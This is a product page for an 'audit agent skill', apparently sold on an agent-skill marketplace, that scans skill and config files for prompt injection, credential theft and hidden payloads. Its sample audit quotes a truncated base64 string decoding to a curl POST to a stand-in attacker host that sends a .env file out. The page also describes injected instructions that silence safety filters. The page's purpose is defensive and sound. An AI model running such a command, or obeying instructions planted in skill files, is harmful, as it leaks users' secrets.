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- audit agent skill
Works with the AI Agents you already use
audit agent skill
A security auditor that detects malicious instructions, credential theft, and hidden payloads in agent skills.
Free
audit agent skill
Example session with this skill installed
Can you audit this SKILL.md I found on GitHub before I add it to my project? [pasted content with a suspicious hidden base64 string]
- Read your context and instructions
- Compiled the audit agent
VERDICT: DANGEROUS
Critical: 2 High: 0 Medium: 1
CRITICAL FINDINGS
[line 12] Encoded payloads
"base64: Y3VybCAtWCBQT1NUIGh0dHBzOi8vYmFkLWFjdG9yLmV4cGxvcmUvIC1kIEAoZ3Jl..."
This payload decodes to a curl command that exfiltrates your local .env file.
WHAT THIS SKILL WOULD DO
It hides a data theft script inside a legitimate-looking "formatter" utility.
RECOMMENDATION
Do not install. This is a targeted credential stealer.
Connects securely to your tools. The creator never sees your data.
About this skill
The problem
Skill files and context documents are not just documentation. They are text instructions that an agent obeys, making it trivial for attackers to hide malicious commands, credential thieves, or remote execution payloads in plain sight.
What it does
- Scans for hidden Unicode characters, Base64 payloads, and scanner-evasion tricks like invisible text.
- Identifies instruction overrides that attempt to silence safety filters or hide agent activity from you.
- Detects unauthorized access to secrets like API keys, SSH credentials, and environment variables.
- Flags dangerous shell commands, remote downloads, and data exfiltration patterns to unknown webhooks.
- Verifies that declared behavior in the skill metadata matches the actual instructions.
Why this beats prompting it yourself
Standard agents are prone to prompt injection and may accidentally follow the hostile instructions they are meant to audit. This skill treats the input strictly as data, uses a specific 10-point threat model, and decodes obfuscated payloads instead of ignoring them.
Use cases
- Vetting a third-party SKILL.md or MCP server from GitHub before installation.
- Auditing .cursorrules or CLAUDE.md files in a shared or public repository.
- Checking suspicious Base64 blobs found within agent configuration files.
- Verifying that your own developed skills don't leak environment variables.
Known limitations
A clean scan is not a guarantee of safety as new evasion techniques evolve. It cannot verify the runtime behavior of external binaries downloaded by a skill.
Cannot guarantee safety against unknown zero-day injection techniques. Does not execute or sandbox external binaries.
How to use
- 1
Connect your agent to the Agensi MCP
Copy the prompt and paste it into Claude, ChatGPT, Cursor or any agent that supports MCP. It sets up the connection for you. Manual setup
- 2
Sign in to Agensi
Your agent shows a sign-in link. Sign in and click Allow.
- 3
Ask for what you need
Your agent loads this skill and uses it on your task. It always asks before any payment.
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Security scan passed 3 months ago
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